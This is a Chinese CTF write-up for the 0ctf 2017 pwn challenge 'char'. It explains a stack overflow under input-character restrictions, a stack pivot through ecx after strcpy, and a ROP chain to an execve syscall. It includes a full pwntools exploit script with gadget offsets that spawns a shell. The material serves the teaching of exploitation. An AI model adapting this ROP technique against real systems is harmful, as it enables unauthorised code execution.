Write Up

  • 文件信息
  • 漏洞定位
  • 利用分析
  • wp
  • 总结

文件信息

该题目来自2017年0ctf的一道pwn题–char。
查看文件信息:
  只开启了NX保护,32位小端程序

另外该题目还给了libc.so文件,部署时需要将该库文件放到/home/char/目录下,部署的目录位置可以从程序的伪C代码中看出。

漏洞定位


程序的main函数如上图所示,首先程序可以接受2400字符的输入,但注意这里的scanf的读取限制,比如:空格、回车、换行符等等都是无法读入的,这里的限制体现在后面构造ROP链时地址中不能含有以上字符的十六进制表示。然后将libc.so库文件映射到了固定地址0x5555E000,这使得后面我们可以直接使用固定地址加库函数偏移调用libc库函数或者ROP地址。最后一个for循环对存储在s中的字符也就是输入字符进行检查,该检查函数如下图所示,限定了输入的字符范围在31< char <=126 之间,此检查规则将会在后面对我们构造ROP链造成巨大的困难。

最后只剩一个函数了,截图如下,该函数即是漏洞位置所在,它将我们检查后的输入复制到一个离返回地址距离非常小的栈空间中,此时存在栈溢出。这里值得注意的是,scanf函数可以读取\x00这样的字符,而strcpy函数则会以\x00字符作为截断标志,这一点会在后面的ROP链构造中使用到。

利用分析

对于该pwn的漏洞利用,我们需要结合checksec的信息来看,这是一道非常明显的栈溢出题目,然后开启了NX保护,给了libc.so库文件。首先我们可以想到直接使用ret2libc的方式,直接调用libc中的system函数获取到shell。然而通过下面的截图我们可以看到,system和execve函数地址中十六进制字符超出了程序检查的范围,所以无法使用该利用方式。

最后经过多方面的查阅和思考,我决定采用ROP链构造syscall调用获取shell的方式,在构造过程会遇到诸多问题,主要也是由于程序的字符检查机制带来的麻烦,这导致很多gadget地址不能用。同时由于strcpy函数无法读取\x00,所以我们存入的0字符也无法正常的copy,所以这里利用strcpy调用后,ecx寄存器中的值和源字符串地址有一定关系,实现栈迁移,跳转到原来的字符串所处位置(这里并非就是源字符串地址的起始位置),在那里执行ROP链。

wp

整个wp需要注意几个细节,实现栈迁移利用的是strcpy函数返回后,ecx寄存器会是源字符串地址的一个固定偏移值,具体偏移多少由字符串的长度决定,这里可以采用动态调试的方式去确定这个偏移。其次是在\x00字符之后的gadget地址可以不用遵循程序字符检查的机制,因为for循环中strlen会以\x00作为截断,\x00后面的字符不会被检查也不会被复制。最后对shellcode编写不熟悉的看官可以参考这篇博文。

from pwn import *context.log_level = "debug"
p = process("./char")base = 0x5555e000
sh_addr = 0x15D7EC
pop_ebx_ret = 0x0001934e
pop_ecx_add_al_0xa_ret = 0x00174a51
pop_edx_xor_eax_pop_edi_ret = 0x00095555
inc_eax_ret = 0x00168864
int_0x80 = 0x00109176
mov_eax_ecx_ret = 0x148253
xchg_eax_esp_retb = 0xe6d62payload = cyclic(0x1c)
# 实现栈迁移
payload += p32(mov_eax_ecx_ret+base)
payload+= p32(mov_eax_ecx_ret+base)
payload+= p32(xchg_eax_esp_retb+base)
payload+= b'\x00'*3
# 实现syscall调用
payload += p32(pop_ebx_ret+base) + p32(sh_addr+base) # ebx = /bin/sh
payload += p32(pop_ecx_add_al_0xa_ret+base) + p32(0) # ecx = 0
payload += p32(pop_edx_xor_eax_pop_edi_ret+base) + p32(0) + p32(0) # edx = 0
for _ in range(int(0xb)):  # eax = 0xbpayload += p32(inc_eax_ret+base)
payload += p32(int_0x80+base)p.sendline(payload)
p.interactive()

总结

该题目看似简单,但实际操作中会遇到不少问题,通过对输入字符的限制,充分考察了做题人的shellcode编写能力,ROP链的构造能力,这里我也给出github上另外一位大佬的利用方式,他采用纯实现syscall调用的方式,由于不能直接压入0字符,/bin/sh字符的地址也存在检查限制,所以整个构造过程别出心裁,看似简单明了,但实际操作过程中会花费不少时间。

0ctf-2017-pwn-char 题解相关推荐

  1. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  2. COCI 2016/2017 Round #3 题解

    COCI 2016/2017 Round #3 这套题代码量似乎有些大呀...前五题代码都已经破4KB了... 而且还要卡空间.卡常数... Imena 题目翻译 分析 细节模拟题,注意可能会出现名字 ...

  3. xctf攻防世界pwn基础题解(新手食用)

    文章目录 CGFsb 关于评论区的问题 when_did_you_born 脚本 备注: cgpwn2 目的: 溢出点: 构造shell: exp: strings Level3 status: up ...

  4. [赛后总结]COCI2016/2017 Round#3题解

    文章目录 Imena 题面 描述 输入 输出 分数分布 题解 实现 Pohlepko 题面 描述 输入 输出 分数分布 题解 实现 Kronican 题面 描述 输入 输出 分数分布 题解 实现 Kv ...

  5. [赛后总结]COCI2016/2017 Round#2题解

    文章目录 Go 题面 描述 输出 分数分布 题解 实现 Tavan 题面 描述 输入 输出 分数分布 题解 实现 Nizin 题目 描述 输入 输出 分数分布 题解 实现 Prosjecni 题目 描 ...

  6. COCI 2016/2017 Round #5题解

    COCI 2016/2017 Round #5 Tuna 题目翻译 分析 水题,按题意模拟即可. 参考代码 #include<cstdio> #include<algorithm&g ...

  7. 2017寒假练习题解 第四周 2.6-2.12

    2.6 Problem A Quasi Binary 题意:给出 n ,输出n至少由k个只含 01的数组成 简析:按照 n 的位数如果相应的一位不是0的话,就填 1 ,再减去,直到减到 n 为0 1 ...

  8. CCF 2017年题目题解 - Python

    2017年刷题目录 2017年12月 201712-1 最小差值 题目链接: 代码: 易错点需注意点: 201712-2 游戏 题目链接: 代码: 易错点需注意点:直接模拟! 201712-3 题目链 ...

  9. 2022NewStarCTF pwn大部分题解

    目录 前言: WEEK1 ret2text: calc: ret2libc: ret2shellcode: fallw1nd's gift: WEEK2 uint32 and ret: shellco ...

  10. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

最新文章

  1. Asp.Net MVC中Action跳转小结
  2. android第一次启动超级慢
  3. html onclick的方法里用js的变量
  4. python PyQt5 Signal类 (Signal类提供了一种以pythonic方式声明和连接Qt信号的方法)(connect()、disconnect()、emit())
  5. 单例模式应用场景_【简易设计模式04】单例模式
  6. 一个有关Update类型的存储过程的问题
  7. hibernate正向生成数据库表以及配置——hibernate.cfg.xml
  8. 新闻发布项目——接口类(categoryTBDao)
  9. android语音识别 android.speech 包分析
  10. 超声波传感器测距实验430
  11. 使用单链表统计英文文本单词个数
  12. 如何把一份pdf文件拆分为多个?
  13. 教程篇(7.0) 10. FortiGate安全 反病毒 ❀ Fortinet 网络安全专家 NSE 4
  14. mysql 5.6 配置ssl_MySQL 5.6使用 SSL 连接
  15. uipath对SAP的抓取
  16. CTF-MISC文件隐写总结(图片,音频,视频,压缩包等文件)
  17. python连接阿里云接口进行实名认证
  18. 图构建:领域本体设计原则与动态本体
  19. 基于JAVA爱馨敬老院网站计算机毕业设计源码+系统+lw文档+部署
  20. win10下装win7双系统安装教程

热门文章

  1. 什么是公网IP和内网IP?
  2. OAuth2.0公钥私钥授权技术
  3. 中文打字速度测试软件单机版,中文打字速度测试软件
  4. 方正璞华“劳动人事法律自助咨询服务平台”在武汉武昌区投入使用!
  5. matlab 广义特征,特征值 特征向量 广义特征值 matlab
  6. 读《GRESNET: GRAPH RESIDUAL NETWORK FOR REVIVING DEEP GNNS FROM SUSPENDED ANIMATION》
  7. Android下WPS打开Excel2007版也有问题
  8. 基于PHP的学生学籍管理系统
  9. go 获取是第几周_golang判断当前时间是第几周的方法
  10. 电脑上计算机三个键盘的使用方法,干货:全方面介绍电脑键盘各键功能与组合键使用方法...